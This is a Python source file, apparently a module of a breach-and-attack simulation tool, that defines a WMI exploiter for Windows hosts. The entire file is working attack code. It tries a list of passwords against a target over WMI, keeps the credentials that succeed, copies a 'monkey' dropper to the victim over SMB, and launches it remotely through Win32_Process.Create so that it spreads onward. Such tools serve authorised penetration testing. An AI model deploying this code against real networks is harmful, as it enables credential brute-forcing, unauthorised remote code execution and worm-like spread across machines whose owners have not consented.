import socket
import ntpath
import logging
import traceback
from tools import build_monkey_commandline
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
from impacket.dcerpc.v5.rpcrt import DCERPCException

LOG = logging.getLogger(__name__)


class WmiExploiter(HostExploiter):
    _target_os_type = ['windows']

    def __init__(self):
        self._config = __import__('config').WormConfiguration
        self._guid = __import__('config').GUID

    @WmiTools.dcom_wrap
    def exploit_host(self, host, depth=-1, src_path=None):
        assert isinstance(host, VictimHost)

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        passwords = list(self._config.psexec_passwords[:])
        known_password = host.get_credentials(self._config.psexec_user)
        if known_password is not None:
            if known_password in passwords:
                passwords.remove(known_password)
            passwords.insert(0, known_password)

        for password in passwords:
            LOG.debug("Attempting to connect %r using WMI with password '%s'",
                      host, password)

            wmi_connection = WmiTools.WmiConnection()

            try:
                wmi_connection.connect(host,
                                       self._config.psexec_user,
                                       password)
            except AccessDeniedException:
                LOG.debug("Failed connecting to %r using WMI with password '%s'",
                          host, password)
                continue
            except DCERPCException, exc:
                report_failed_login(self, host, self._config.psexec_user, password)
                LOG.debug("Failed connecting to %r using WMI with password '%s'",
                          host, password)
                continue
            except socket.error, exc:
                LOG.debug("Network error in WMI connection to %r with password '%s' (%s)",
                          host, password, exc)
                return False
            except Exception, exc:
                LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s",
                          host, password, exc, traceback.format_exc())
                return False

            host.learn_credentials(self._config.psexec_user, password)

            # query process list and check if monkey already running on victim
            process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
                                                fields=("Caption", ),
                                                where="Name='%s'" % ntpath.split(src_path)[-1])
            if process_list:
                wmi_connection.close()

                LOG.debug("Skipping %r - already infected", host)
                return False

            # copy the file remotely using SMB
            remote_full_path = SmbTools.copy_file(host,
                                                  self._config.psexec_user,
                                                  password,
                                                  src_path,
                                                  self._config.dropper_target_path,
                                                  self._config.smb_download_timeout)

            if not remote_full_path:
                wmi_connection.close()
                return False
            # execute the remote dropper in case the path isn't final
            elif remote_full_path.lower() != self._config.dropper_target_path.lower():
                cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
            else:
                cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}

            cmdline += build_monkey_commandline(host, depth - 1)

            # execute the remote monkey
            result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
                                                                                 ntpath.split(remote_full_path)[0],
                                                                                 None)

            if (0 != result.ProcessId) and (0 == result.ReturnValue):
                LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                         remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
                success = True
            else:
                LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                          remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
                success = False

            result.RemRelease()
            wmi_connection.close()

            return success

        return False